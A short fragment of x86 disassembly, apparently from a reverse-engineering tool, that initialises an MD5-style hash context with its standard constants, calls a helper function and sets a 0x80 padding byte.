mov dword [ecx + 4], 0x67452301
mov dword [ecx + 8], 0xefcdab89
mov dword [ecx + 0xc], 0x98badcfe
mov dword [ecx + 0x10], 0x10325476
call fcn.10002aa0
mov byte [esi], 0x80
pop esi
ret